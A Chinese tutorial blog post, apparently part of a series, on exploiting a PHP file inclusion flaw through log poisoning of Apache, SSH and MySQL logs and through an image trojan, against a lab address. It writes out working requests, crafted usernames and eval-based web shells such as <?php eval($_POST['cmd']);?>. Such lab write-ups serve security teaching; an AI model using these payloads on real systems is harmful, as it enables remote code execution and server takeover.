文件包含漏洞(3),日志利用, 图片木马利用

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

py 复制代码
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.

实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

py 复制代码
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

py 复制代码
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.

那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
py 复制代码
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
py 复制代码
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log

post data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
py 复制代码
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

py 复制代码
ssh [email protected]

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

py 复制代码
ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

py 复制代码
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

sh 复制代码
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

py 复制代码
/opt/lampp/logs/mysql.log

正常登录:

py 复制代码
mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

py 复制代码
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:

mm.php文件:

php 复制代码
<?php @eval($_GET['cmd']); ?>

命令:

py 复制代码
copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关推荐
唐青枫2 分钟前
php8 ?-> nullsafe 操作符 使用教程
php
Xiaok10181 小时前
解决 Hugging Face SentenceTransformer 下载失败的完整指南:ProxyError、SSLError与手动下载方案
开发语言·神经网络·php
Jtti2 小时前
PHP在Debian环境上的并发处理能力如何
开发语言·debian·php
viqecel12 小时前
网站改版html页面 NGINX 借用伪静态和PHP脚本 实现301重定向跳转
nginx·php·nginx重定向·301重定向·html页面重定向
小爬虫程序猿16 小时前
利用 PHP 爬虫按关键字搜索淘宝商品
开发语言·爬虫·php
小爬虫程序猿16 小时前
淘宝商品信息如何存储到数据库?
数据库·爬虫·php
桃子酱紫君20 小时前
华为配置篇-BGP实验
开发语言·华为·php
fakaifa1 天前
beikeshop多商户跨境电商独立站最新版v1.6.0版本源码
前端·小程序·uni-app·php·beikeshop多商户·beikeshop跨境电商
Taichi呀1 天前
PHP语言基础
android·开发语言·php
智想天开1 天前
8.集成模板引擎
php